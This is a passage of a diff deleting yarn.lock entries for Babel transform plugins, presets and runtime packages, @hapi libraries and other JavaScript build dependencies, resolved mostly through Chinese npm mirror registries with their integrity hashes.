-"@babel/plugin-transform-react-display-name@^7.12.1", "@babel/plugin-transform-react-display-name@^7.12.13":
-  version "7.14.2"
-  resolved "https://registry.nlark.com/@babel/plugin-transform-react-display-name/download/@babel/plugin-transform-react-display-name-7.14.2.tgz?cache=0&sync_timestamp=1620839456013&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fplugin-transform-react-display-name%2Fdownload%2F%40babel%2Fplugin-transform-react-display-name-7.14.2.tgz#2e854544d42ab3bb9c21f84e153d62e800fbd593"
-  integrity sha1-LoVFRNQqs7ucIfhOFT1i6AD71ZM=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.13.0"
-
-"@babel/plugin-transform-react-jsx-development@^7.12.1", "@babel/plugin-transform-react-jsx-development@^7.12.17":
-  version "7.12.17"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-transform-react-jsx-development/download/@babel/plugin-transform-react-jsx-development-7.12.17.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fplugin-transform-react-jsx-development%2Fdownload%2F%40babel%2Fplugin-transform-react-jsx-development-7.12.17.tgz#f510c0fa7cd7234153539f9a362ced41a5ca1447"
-  integrity sha1-9RDA+nzXI0FTU5+aNiztQaXKFEc=
-  dependencies:
-    "@babel/plugin-transform-react-jsx" "^7.12.17"
-
-"@babel/plugin-transform-react-jsx-self@^7.12.1":
-  version "7.12.13"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-transform-react-jsx-self/download/@babel/plugin-transform-react-jsx-self-7.12.13.tgz#422d99d122d592acab9c35ea22a6cfd9bf189f60"
-  integrity sha1-Qi2Z0SLVkqyrnDXqIqbP2b8Yn2A=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.12.13"
-
-"@babel/plugin-transform-react-jsx-source@^7.12.1":
-  version "7.14.2"
-  resolved "https://registry.nlark.com/@babel/plugin-transform-react-jsx-source/download/@babel/plugin-transform-react-jsx-source-7.14.2.tgz?cache=0&sync_timestamp=1620839450233&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fplugin-transform-react-jsx-source%2Fdownload%2F%40babel%2Fplugin-transform-react-jsx-source-7.14.2.tgz#2620b57e7de775c0687f65d464026d15812941da"
-  integrity sha1-JiC1fn3ndcBof2XUZAJtFYEpQdo=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.13.0"
-
-"@babel/plugin-transform-react-jsx@^7.12.1", "@babel/plugin-transform-react-jsx@^7.12.17", "@babel/plugin-transform-react-jsx@^7.13.12":
-  version "7.14.3"
-  resolved "https://registry.nlark.com/@babel/plugin-transform-react-jsx/download/@babel/plugin-transform-react-jsx-7.14.3.tgz?cache=0&sync_timestamp=1621286768327&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fplugin-transform-react-jsx%2Fdownload%2F%40babel%2Fplugin-transform-react-jsx-7.14.3.tgz#0e26597805cf0862da735f264550933c38babb66"
-  integrity sha1-DiZZeAXPCGLac18mRVCTPDi6u2Y=
-  dependencies:
-    "@babel/helper-annotate-as-pure" "^7.12.13"
-    "@babel/helper-module-imports" "^7.13.12"
-    "@babel/helper-plugin-utils" "^7.13.0"
-    "@babel/plugin-syntax-jsx" "^7.12.13"
-    "@babel/types" "^7.14.2"
-
-"@babel/plugin-transform-react-pure-annotations@^7.12.1":
-  version "7.12.1"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-transform-react-pure-annotations/download/@babel/plugin-transform-react-pure-annotations-7.12.1.tgz#05d46f0ab4d1339ac59adf20a1462c91b37a1a42"
-  integrity sha1-BdRvCrTRM5rFmt8goUYskbN6GkI=
-  dependencies:
-    "@babel/helper-annotate-as-pure" "^7.10.4"
-    "@babel/helper-plugin-utils" "^7.10.4"
-
-"@babel/plugin-transform-regenerator@^7.12.1", "@babel/plugin-transform-regenerator@^7.13.15":
-  version "7.13.15"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-transform-regenerator/download/@babel/plugin-transform-regenerator-7.13.15.tgz?cache=0&sync_timestamp=1617897172824&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fplugin-transform-regenerator%2Fdownload%2F%40babel%2Fplugin-transform-regenerator-7.13.15.tgz#e5eb28945bf8b6563e7f818945f966a8d2997f39"
-  integrity sha1-5esolFv4tlY+f4GJRflmqNKZfzk=
-  dependencies:
-    regenerator-transform "^0.14.2"
-
-"@babel/plugin-transform-reserved-words@^7.12.1", "@babel/plugin-transform-reserved-words@^7.12.13":
-  version "7.12.13"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-transform-reserved-words/download/@babel/plugin-transform-reserved-words-7.12.13.tgz#7d9988d4f06e0fe697ea1d9803188aa18b472695"
-  integrity sha1-fZmI1PBuD+aX6h2YAxiKoYtHJpU=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.12.13"
-
-"@babel/plugin-transform-runtime@7.12.1":
-  version "7.12.1"
-  resolved "https://registry.nlark.com/@babel/plugin-transform-runtime/download/@babel/plugin-transform-runtime-7.12.1.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fplugin-transform-runtime%2Fdownload%2F%40babel%2Fplugin-transform-runtime-7.12.1.tgz#04b792057eb460389ff6a4198e377614ea1e7ba5"
-  integrity sha1-BLeSBX60YDif9qQZjjd2FOoee6U=
-  dependencies:
-    "@babel/helper-module-imports" "^7.12.1"
-    "@babel/helper-plugin-utils" "^7.10.4"
-    resolve "^1.8.1"
-    semver "^5.5.1"
-
-"@babel/plugin-transform-shorthand-properties@^7.12.1", "@babel/plugin-transform-shorthand-properties@^7.12.13":
-  version "7.12.13"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-transform-shorthand-properties/download/@babel/plugin-transform-shorthand-properties-7.12.13.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fplugin-transform-shorthand-properties%2Fdownload%2F%40babel%2Fplugin-transform-shorthand-properties-7.12.13.tgz#db755732b70c539d504c6390d9ce90fe64aff7ad"
-  integrity sha1-23VXMrcMU51QTGOQ2c6Q/mSv960=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.12.13"
-
-"@babel/plugin-transform-spread@^7.12.1", "@babel/plugin-transform-spread@^7.13.0":
-  version "7.13.0"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-transform-spread/download/@babel/plugin-transform-spread-7.13.0.tgz#84887710e273c1815ace7ae459f6f42a5d31d5fd"
-  integrity sha1-hIh3EOJzwYFaznrkWfb0Kl0x1f0=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.13.0"
-    "@babel/helper-skip-transparent-expression-wrappers" "^7.12.1"
-
-"@babel/plugin-transform-sticky-regex@^7.12.1", "@babel/plugin-transform-sticky-regex@^7.12.13":
-  version "7.12.13"
-  resolved "https://registry.nlark.com/@babel/plugin-transform-sticky-regex/download/@babel/plugin-transform-sticky-regex-7.12.13.tgz#760ffd936face73f860ae646fb86ee82f3d06d1f"
-  integrity sha1-dg/9k2+s5z+GCuZG+4bugvPQbR8=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.12.13"
-
-"@babel/plugin-transform-template-literals@^7.12.1", "@babel/plugin-transform-template-literals@^7.13.0":
-  version "7.13.0"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-transform-template-literals/download/@babel/plugin-transform-template-literals-7.13.0.tgz#a36049127977ad94438dee7443598d1cefdf409d"
-  integrity sha1-o2BJEnl3rZRDje50Q1mNHO/fQJ0=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.13.0"
-
-"@babel/plugin-transform-typeof-symbol@^7.12.1", "@babel/plugin-transform-typeof-symbol@^7.12.13":
-  version "7.12.13"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-transform-typeof-symbol/download/@babel/plugin-transform-typeof-symbol-7.12.13.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fplugin-transform-typeof-symbol%2Fdownload%2F%40babel%2Fplugin-transform-typeof-symbol-7.12.13.tgz#785dd67a1f2ea579d9c2be722de8c84cb85f5a7f"
-  integrity sha1-eF3Weh8upXnZwr5yLejITLhfWn8=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.12.13"
-
-"@babel/plugin-transform-typescript@^7.12.1":
-  version "7.14.4"
-  resolved "https://registry.nlark.com/@babel/plugin-transform-typescript/download/@babel/plugin-transform-typescript-7.14.4.tgz#1c48829fa6d5f2de646060cd08abb6cda4b521a7"
-  integrity sha1-HEiCn6bV8t5kYGDNCKu2zaS1Iac=
-  dependencies:
-    "@babel/helper-create-class-features-plugin" "^7.14.4"
-    "@babel/helper-plugin-utils" "^7.13.0"
-    "@babel/plugin-syntax-typescript" "^7.12.13"
-
-"@babel/plugin-transform-unicode-escapes@^7.12.1", "@babel/plugin-transform-unicode-escapes@^7.12.13":
-  version "7.12.13"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-transform-unicode-escapes/download/@babel/plugin-transform-unicode-escapes-7.12.13.tgz#840ced3b816d3b5127dd1d12dcedc5dead1a5e74"
-  integrity sha1-hAztO4FtO1En3R0S3O3F3q0aXnQ=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.12.13"
-
-"@babel/plugin-transform-unicode-regex@^7.12.1", "@babel/plugin-transform-unicode-regex@^7.12.13":
-  version "7.12.13"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-transform-unicode-regex/download/@babel/plugin-transform-unicode-regex-7.12.13.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fplugin-transform-unicode-regex%2Fdownload%2F%40babel%2Fplugin-transform-unicode-regex-7.12.13.tgz#b52521685804e155b1202e83fc188d34bb70f5ac"
-  integrity sha1-tSUhaFgE4VWxIC6D/BiNNLtw9aw=
-  dependencies:
-    "@babel/helper-create-regexp-features-plugin" "^7.12.13"
-    "@babel/helper-plugin-utils" "^7.12.13"
-
-"@babel/preset-env@7.12.1":
-  version "7.12.1"
-  resolved "https://registry.nlark.com/@babel/preset-env/download/@babel/preset-env-7.12.1.tgz#9c7e5ca82a19efc865384bb4989148d2ee5d7ac2"
-  integrity sha1-nH5cqCoZ78hlOEu0mJFI0u5desI=
-  dependencies:
-    "@babel/compat-data" "^7.12.1"
-    "@babel/helper-compilation-targets" "^7.12.1"
-    "@babel/helper-module-imports" "^7.12.1"
-    "@babel/helper-plugin-utils" "^7.10.4"
-    "@babel/helper-validator-option" "^7.12.1"
-    "@babel/plugin-proposal-async-generator-functions" "^7.12.1"
-    "@babel/plugin-proposal-class-properties" "^7.12.1"
-    "@babel/plugin-proposal-dynamic-import" "^7.12.1"
-    "@babel/plugin-proposal-export-namespace-from" "^7.12.1"
-    "@babel/plugin-proposal-json-strings" "^7.12.1"
-    "@babel/plugin-proposal-logical-assignment-operators" "^7.12.1"
-    "@babel/plugin-proposal-nullish-coalescing-operator" "^7.12.1"
-    "@babel/plugin-proposal-numeric-separator" "^7.12.1"
-    "@babel/plugin-proposal-object-rest-spread" "^7.12.1"
-    "@babel/plugin-proposal-optional-catch-binding" "^7.12.1"
-    "@babel/plugin-proposal-optional-chaining" "^7.12.1"
-    "@babel/plugin-proposal-private-methods" "^7.12.1"
-    "@babel/plugin-proposal-unicode-property-regex" "^7.12.1"
-    "@babel/plugin-syntax-async-generators" "^7.8.0"
-    "@babel/plugin-syntax-class-properties" "^7.12.1"
-    "@babel/plugin-syntax-dynamic-import" "^7.8.0"
-    "@babel/plugin-syntax-export-namespace-from" "^7.8.3"
-    "@babel/plugin-syntax-json-strings" "^7.8.0"
-    "@babel/plugin-syntax-logical-assignment-operators" "^7.10.4"
-    "@babel/plugin-syntax-nullish-coalescing-operator" "^7.8.0"
-    "@babel/plugin-syntax-numeric-separator" "^7.10.4"
-    "@babel/plugin-syntax-object-rest-spread" "^7.8.0"
-    "@babel/plugin-syntax-optional-catch-binding" "^7.8.0"
-    "@babel/plugin-syntax-optional-chaining" "^7.8.0"
-    "@babel/plugin-syntax-top-level-await" "^7.12.1"
-    "@babel/plugin-transform-arrow-functions" "^7.12.1"
-    "@babel/plugin-transform-async-to-generator" "^7.12.1"
-    "@babel/plugin-transform-block-scoped-functions" "^7.12.1"
-    "@babel/plugin-transform-block-scoping" "^7.12.1"
-    "@babel/plugin-transform-classes" "^7.12.1"
-    "@babel/plugin-transform-computed-properties" "^7.12.1"
-    "@babel/plugin-transform-destructuring" "^7.12.1"
-    "@babel/plugin-transform-dotall-regex" "^7.12.1"
-    "@babel/plugin-transform-duplicate-keys" "^7.12.1"
-    "@babel/plugin-transform-exponentiation-operator" "^7.12.1"
-    "@babel/plugin-transform-for-of" "^7.12.1"
-    "@babel/plugin-transform-function-name" "^7.12.1"
-    "@babel/plugin-transform-literals" "^7.12.1"
-    "@babel/plugin-transform-member-expression-literals" "^7.12.1"
-    "@babel/plugin-transform-modules-amd" "^7.12.1"
-    "@babel/plugin-transform-modules-commonjs" "^7.12.1"
-    "@babel/plugin-transform-modules-systemjs" "^7.12.1"
-    "@babel/plugin-transform-modules-umd" "^7.12.1"
-    "@babel/plugin-transform-named-capturing-groups-regex" "^7.12.1"
-    "@babel/plugin-transform-new-target" "^7.12.1"
-    "@babel/plugin-transform-object-super" "^7.12.1"
-    "@babel/plugin-transform-parameters" "^7.12.1"
-    "@babel/plugin-transform-property-literals" "^7.12.1"
-    "@babel/plugin-transform-regenerator" "^7.12.1"
-    "@babel/plugin-transform-reserved-words" "^7.12.1"
-    "@babel/plugin-transform-shorthand-properties" "^7.12.1"
-    "@babel/plugin-transform-spread" "^7.12.1"
-    "@babel/plugin-transform-sticky-regex" "^7.12.1"
-    "@babel/plugin-transform-template-literals" "^7.12.1"
-    "@babel/plugin-transform-typeof-symbol" "^7.12.1"
-    "@babel/plugin-transform-unicode-escapes" "^7.12.1"
-    "@babel/plugin-transform-unicode-regex" "^7.12.1"
-    "@babel/preset-modules" "^0.1.3"
-    "@babel/types" "^7.12.1"
-    core-js-compat "^3.6.2"
-    semver "^5.5.0"
-
-"@babel/preset-env@^7.12.1", "@babel/preset-env@^7.8.4":
-  version "7.14.4"
-  resolved "https://registry.nlark.com/@babel/preset-env/download/@babel/preset-env-7.14.4.tgz#73fc3228c59727e5e974319156f304f0d6685a2d"
-  integrity sha1-c/wyKMWXJ+XpdDGRVvME8NZoWi0=
-  dependencies:
-    "@babel/compat-data" "^7.14.4"
-    "@babel/helper-compilation-targets" "^7.14.4"
-    "@babel/helper-plugin-utils" "^7.13.0"
-    "@babel/helper-validator-option" "^7.12.17"
-    "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining" "^7.13.12"
-    "@babel/plugin-proposal-async-generator-functions" "^7.14.2"
-    "@babel/plugin-proposal-class-properties" "^7.13.0"
-    "@babel/plugin-proposal-class-static-block" "^7.14.3"
-    "@babel/plugin-proposal-dynamic-import" "^7.14.2"
-    "@babel/plugin-proposal-export-namespace-from" "^7.14.2"
-    "@babel/plugin-proposal-json-strings" "^7.14.2"
-    "@babel/plugin-proposal-logical-assignment-operators" "^7.14.2"
-    "@babel/plugin-proposal-nullish-coalescing-operator" "^7.14.2"
-    "@babel/plugin-proposal-numeric-separator" "^7.14.2"
-    "@babel/plugin-proposal-object-rest-spread" "^7.14.4"
-    "@babel/plugin-proposal-optional-catch-binding" "^7.14.2"
-    "@babel/plugin-proposal-optional-chaining" "^7.14.2"
-    "@babel/plugin-proposal-private-methods" "^7.13.0"
-    "@babel/plugin-proposal-private-property-in-object" "^7.14.0"
-    "@babel/plugin-proposal-unicode-property-regex" "^7.12.13"
-    "@babel/plugin-syntax-async-generators" "^7.8.4"
-    "@babel/plugin-syntax-class-properties" "^7.12.13"
-    "@babel/plugin-syntax-class-static-block" "^7.12.13"
-    "@babel/plugin-syntax-dynamic-import" "^7.8.3"
-    "@babel/plugin-syntax-export-namespace-from" "^7.8.3"
-    "@babel/plugin-syntax-json-strings" "^7.8.3"
-    "@babel/plugin-syntax-logical-assignment-operators" "^7.10.4"
-    "@babel/plugin-syntax-nullish-coalescing-operator" "^7.8.3"
-    "@babel/plugin-syntax-numeric-separator" "^7.10.4"
-    "@babel/plugin-syntax-object-rest-spread" "^7.8.3"
-    "@babel/plugin-syntax-optional-catch-binding" "^7.8.3"
-    "@babel/plugin-syntax-optional-chaining" "^7.8.3"
-    "@babel/plugin-syntax-private-property-in-object" "^7.14.0"
-    "@babel/plugin-syntax-top-level-await" "^7.12.13"
-    "@babel/plugin-transform-arrow-functions" "^7.13.0"
-    "@babel/plugin-transform-async-to-generator" "^7.13.0"
-    "@babel/plugin-transform-block-scoped-functions" "^7.12.13"
-    "@babel/plugin-transform-block-scoping" "^7.14.4"
-    "@babel/plugin-transform-classes" "^7.14.4"
-    "@babel/plugin-transform-computed-properties" "^7.13.0"
-    "@babel/plugin-transform-destructuring" "^7.14.4"
-    "@babel/plugin-transform-dotall-regex" "^7.12.13"
-    "@babel/plugin-transform-duplicate-keys" "^7.12.13"
-    "@babel/plugin-transform-exponentiation-operator" "^7.12.13"
-    "@babel/plugin-transform-for-of" "^7.13.0"
-    "@babel/plugin-transform-function-name" "^7.12.13"
-    "@babel/plugin-transform-literals" "^7.12.13"
-    "@babel/plugin-transform-member-expression-literals" "^7.12.13"
-    "@babel/plugin-transform-modules-amd" "^7.14.2"
-    "@babel/plugin-transform-modules-commonjs" "^7.14.0"
-    "@babel/plugin-transform-modules-systemjs" "^7.13.8"
-    "@babel/plugin-transform-modules-umd" "^7.14.0"
-    "@babel/plugin-transform-named-capturing-groups-regex" "^7.12.13"
-    "@babel/plugin-transform-new-target" "^7.12.13"
-    "@babel/plugin-transform-object-super" "^7.12.13"
-    "@babel/plugin-transform-parameters" "^7.14.2"
-    "@babel/plugin-transform-property-literals" "^7.12.13"
-    "@babel/plugin-transform-regenerator" "^7.13.15"
-    "@babel/plugin-transform-reserved-words" "^7.12.13"
-    "@babel/plugin-transform-shorthand-properties" "^7.12.13"
-    "@babel/plugin-transform-spread" "^7.13.0"
-    "@babel/plugin-transform-sticky-regex" "^7.12.13"
-    "@babel/plugin-transform-template-literals" "^7.13.0"
-    "@babel/plugin-transform-typeof-symbol" "^7.12.13"
-    "@babel/plugin-transform-unicode-escapes" "^7.12.13"
-    "@babel/plugin-transform-unicode-regex" "^7.12.13"
-    "@babel/preset-modules" "^0.1.4"
-    "@babel/types" "^7.14.4"
-    babel-plugin-polyfill-corejs2 "^0.2.0"
-    babel-plugin-polyfill-corejs3 "^0.2.0"
-    babel-plugin-polyfill-regenerator "^0.2.0"
-    core-js-compat "^3.9.0"
-    semver "^6.3.0"
-
-"@babel/preset-modules@^0.1.3", "@babel/preset-modules@^0.1.4":
-  version "0.1.4"
-  resolved "https://registry.npm.taobao.org/@babel/preset-modules/download/@babel/preset-modules-0.1.4.tgz#362f2b68c662842970fdb5e254ffc8fc1c2e415e"
-  integrity sha1-Ni8raMZihClw/bXiVP/I/BwuQV4=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.0.0"
-    "@babel/plugin-proposal-unicode-property-regex" "^7.4.4"
-    "@babel/plugin-transform-dotall-regex" "^7.4.4"
-    "@babel/types" "^7.4.4"
-    esutils "^2.0.2"
-
-"@babel/preset-react@7.12.1":
-  version "7.12.1"
-  resolved "https://registry.npm.taobao.org/@babel/preset-react/download/@babel/preset-react-7.12.1.tgz?cache=0&sync_timestamp=1616801331588&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fpreset-react%2Fdownload%2F%40babel%2Fpreset-react-7.12.1.tgz#7f022b13f55b6dd82f00f16d1c599ae62985358c"
-  integrity sha1-fwIrE/VbbdgvAPFtHFma5imFNYw=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.10.4"
-    "@babel/plugin-transform-react-display-name" "^7.12.1"
-    "@babel/plugin-transform-react-jsx" "^7.12.1"
-    "@babel/plugin-transform-react-jsx-development" "^7.12.1"
-    "@babel/plugin-transform-react-jsx-self" "^7.12.1"
-    "@babel/plugin-transform-react-jsx-source" "^7.12.1"
-    "@babel/plugin-transform-react-pure-annotations" "^7.12.1"
-
-"@babel/preset-react@^7.12.5":
-  version "7.13.13"
-  resolved "https://registry.npm.taobao.org/@babel/preset-react/download/@babel/preset-react-7.13.13.tgz?cache=0&sync_timestamp=1616801331588&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fpreset-react%2Fdownload%2F%40babel%2Fpreset-react-7.13.13.tgz#fa6895a96c50763fe693f9148568458d5a839761"
-  integrity sha1-+miVqWxQdj/mk/kUhWhFjVqDl2E=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.13.0"
-    "@babel/helper-validator-option" "^7.12.17"
-    "@babel/plugin-transform-react-display-name" "^7.12.13"
-    "@babel/plugin-transform-react-jsx" "^7.13.12"
-    "@babel/plugin-transform-react-jsx-development" "^7.12.17"
-    "@babel/plugin-transform-react-pure-annotations" "^7.12.1"
-
-"@babel/preset-typescript@7.12.1":
-  version "7.12.1"
-  resolved "https://registry.nlark.com/@babel/preset-typescript/download/@babel/preset-typescript-7.12.1.tgz?cache=0&sync_timestamp=1618847033600&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fpreset-typescript%2Fdownload%2F%40babel%2Fpreset-typescript-7.12.1.tgz#86480b483bb97f75036e8864fe404cc782cc311b"
-  integrity sha1-hkgLSDu5f3UDbohk/kBMx4LMMRs=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.10.4"
-    "@babel/plugin-transform-typescript" "^7.12.1"
-
-"@babel/runtime-corejs3@^7.10.2":
-  version "7.14.0"
-  resolved "https://registry.nlark.com/@babel/runtime-corejs3/download/@babel/runtime-corejs3-7.14.0.tgz#6bf5fbc0b961f8e3202888cb2cd0fb7a0a9a3f66"
-  integrity sha1-a/X7wLlh+OMgKIjLLND7egqaP2Y=
-  dependencies:
-    core-js-pure "^3.0.0"
-    regenerator-runtime "^0.13.4"
-
-"@babel/runtime@7.12.1":
-  version "7.12.1"
-  resolved "https://registry.nlark.com/@babel/runtime/download/@babel/runtime-7.12.1.tgz?cache=0&sync_timestamp=1619727528467&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fruntime%2Fdownload%2F%40babel%2Fruntime-7.12.1.tgz#b4116a6b6711d010b2dad3b7b6e43bf1b9954740"
-  integrity sha1-tBFqa2cR0BCy2tO3tuQ78bmVR0A=
-  dependencies:
-    regenerator-runtime "^0.13.4"
-
-"@babel/runtime@^7.10.2", "@babel/runtime@^7.11.2", "@babel/runtime@^7.12.5", "@babel/runtime@^7.5.5", "@babel/runtime@^7.7.2", "@babel/runtime@^7.8.4", "@babel/runtime@^7.9.2":
-  version "7.14.0"
-  resolved "https://registry.nlark.com/@babel/runtime/download/@babel/runtime-7.14.0.tgz?cache=0&sync_timestamp=1619727528467&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fruntime%2Fdownload%2F%40babel%2Fruntime-7.14.0.tgz#46794bc20b612c5f75e62dd071e24dfd95f1cbe6"
-  integrity sha1-RnlLwgthLF915i3QceJN/ZXxy+Y=
-  dependencies:
-    regenerator-runtime "^0.13.4"
-
-"@babel/runtime@^7.13.8", "@babel/runtime@^7.14.0", "@babel/runtime@^7.6.3", "@babel/runtime@^7.8.7":
-  version "7.14.6"
-  resolved "https://registry.yarnpkg.com/@babel/runtime/-/runtime-7.14.6.tgz#535203bc0892efc7dec60bdc27b2ecf6e409062d"
-  integrity sha512-/PCB2uJ7oM44tz8YhC4Z/6PeOKXp4K588f+5M3clr1M4zbqztlo0XEfJ2LEzj/FgwfgGcIdl8n7YYjTCI0BYwg==
-  dependencies:
-    regenerator-runtime "^0.13.4"
-
-"@babel/template@^7.10.4", "@babel/template@^7.12.13", "@babel/template@^7.3.3":
-  version "7.12.13"
-  resolved "https://registry.npm.taobao.org/@babel/template/download/@babel/template-7.12.13.tgz#530265be8a2589dbb37523844c5bcb55947fb327"
-  integrity sha1-UwJlvooliduzdSOETFvLVZR/syc=
-  dependencies:
-    "@babel/code-frame" "^7.12.13"
-    "@babel/parser" "^7.12.13"
-    "@babel/types" "^7.12.13"
-
-"@babel/traverse@^7.1.0", "@babel/traverse@^7.12.1", "@babel/traverse@^7.13.0", "@babel/traverse@^7.13.15", "@babel/traverse@^7.14.0", "@babel/traverse@^7.14.2", "@babel/traverse@^7.7.0":
-  version "7.14.2"
-  resolved "https://registry.nlark.com/@babel/traverse/download/@babel/traverse-7.14.2.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Ftraverse%2Fdownload%2F%40babel%2Ftraverse-7.14.2.tgz#9201a8d912723a831c2679c7ebbf2fe1416d765b"
-  integrity sha1-kgGo2RJyOoMcJnnH678v4UFtdls=
-  dependencies:
-    "@babel/code-frame" "^7.12.13"
-    "@babel/generator" "^7.14.2"
-    "@babel/helper-function-name" "^7.14.2"
-    "@babel/helper-split-export-declaration" "^7.12.13"
-    "@babel/parser" "^7.14.2"
-    "@babel/types" "^7.14.2"
-    debug "^4.1.0"
-    globals "^11.1.0"
-
-"@babel/types@^7.0.0", "@babel/types@^7.12.1", "@babel/types@^7.12.13", "@babel/types@^7.12.6", "@babel/types@^7.13.0", "@babel/types@^7.13.12", "@babel/types@^7.13.16", "@babel/types@^7.14.0", "@babel/types@^7.14.2", "@babel/types@^7.14.4", "@babel/types@^7.3.0", "@babel/types@^7.3.3", "@babel/types@^7.4.4", "@babel/types@^7.7.0":
-  version "7.14.4"
-  resolved "https://registry.nlark.com/@babel/types/download/@babel/types-7.14.4.tgz?cache=0&sync_timestamp=1622221256190&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Ftypes%2Fdownload%2F%40babel%2Ftypes-7.14.4.tgz#bfd6980108168593b38b3eb48a24aa026b919bc0"
-  integrity sha1-v9aYAQgWhZOziz60iiSqAmuRm8A=
-  dependencies:
-    "@babel/helper-validator-identifier" "^7.14.0"
-    to-fast-properties "^2.0.0"
-
-"@bcoe/v8-coverage@^0.2.3":
-  version "0.2.3"
-  resolved "https://registry.npm.taobao.org/@bcoe/v8-coverage/download/@bcoe/v8-coverage-0.2.3.tgz#75a2e8b51cb758a7553d6804a5932d7aace75c39"
-  integrity sha1-daLotRy3WKdVPWgEpZMteqznXDk=
-
-"@cnakazawa/watch@^1.0.3":
-  version "1.0.4"
-  resolved "https://registry.npm.taobao.org/@cnakazawa/watch/download/@cnakazawa/watch-1.0.4.tgz#f864ae85004d0fcab6f50be9141c4da368d1656a"
-  integrity sha1-+GSuhQBND8q29QvpFBxNo2jRZWo=
-  dependencies:
-    exec-sh "^0.3.2"
-    minimist "^1.2.0"
-
-"@csstools/convert-colors@^1.4.0":
-  version "1.4.0"
-  resolved "https://registry.npm.taobao.org/@csstools/convert-colors/download/@csstools/convert-colors-1.4.0.tgz#ad495dc41b12e75d588c6db8b9834f08fa131eb7"
-  integrity sha1-rUldxBsS511YjG24uYNPCPoTHrc=
-
-"@csstools/normalize.css@^10.1.0":
-  version "10.1.0"
-  resolved "https://registry.npm.taobao.org/@csstools/normalize.css/download/@csstools/normalize.css-10.1.0.tgz#f0950bba18819512d42f7197e56c518aa491cf18"
-  integrity sha1-8JULuhiBlRLUL3GX5WxRiqSRzxg=
-
-"@eslint/eslintrc@^0.4.2":
-  version "0.4.2"
-  resolved "https://registry.nlark.com/@eslint/eslintrc/download/@eslint/eslintrc-0.4.2.tgz?cache=0&sync_timestamp=1622845296796&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40eslint%2Feslintrc%2Fdownload%2F%40eslint%2Feslintrc-0.4.2.tgz#f63d0ef06f5c0c57d76c4ab5f63d3835c51b0179"
-  integrity sha1-9j0O8G9cDFfXbEq19j04NcUbAXk=
-  dependencies:
-    ajv "^6.12.4"
-    debug "^4.1.1"
-    espree "^7.3.0"
-    globals "^13.9.0"
-    ignore "^4.0.6"
-    import-fresh "^3.2.1"
-    js-yaml "^3.13.1"
-    minimatch "^3.0.4"
-    strip-json-comments "^3.1.1"
-
-"@hapi/address@2.x.x":
-  version "2.1.4"
-  resolved "https://registry.npm.taobao.org/@hapi/address/download/@hapi/address-2.1.4.tgz#5d67ed43f3fd41a69d4b9ff7b56e7c0d1d0a81e5"
-  integrity sha1-XWftQ/P9QaadS5/3tW58DR0KgeU=
-
-"@hapi/bourne@1.x.x":
-  version "1.3.2"
-  resolved "https://registry.npm.taobao.org/@hapi/bourne/download/@hapi/bourne-1.3.2.tgz#0a7095adea067243ce3283e1b56b8a8f453b242a"
-  integrity sha1-CnCVreoGckPOMoPhtWuKj0U7JCo=
-
-"@hapi/hoek@8.x.x", "@hapi/hoek@^8.3.0":
-  version "8.5.1"
-  resolved "https://registry.npm.taobao.org/@hapi/hoek/download/@hapi/hoek-8.5.1.tgz?cache=0&sync_timestamp=1618694827665&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40hapi%2Fhoek%2Fdownload%2F%40hapi%2Fhoek-8.5.1.tgz#fde96064ca446dec8c55a8c2f130957b070c6e06"
-  integrity sha1-/elgZMpEbeyMVajC8TCVewcMbgY=
-
-"@hapi/joi@^15.1.0":
-  version "15.1.1"
-  resolved "https://registry.npm.taobao.org/@hapi/joi/download/@hapi/joi-15.1.1.tgz#c675b8a71296f02833f8d6d243b34c57b8ce19d7"
-  integrity sha1-xnW4pxKW8Cgz+NbSQ7NMV7jOGdc=
-  dependencies:
-    "@hapi/address" "2.x.x"
-    "@hapi/bourne" "1.x.x"
-    "@hapi/hoek" "8.x.x"
-    "@hapi/topo" "3.x.x"
-
-"@hapi/topo@3.x.x":
-  version "3.1.6"
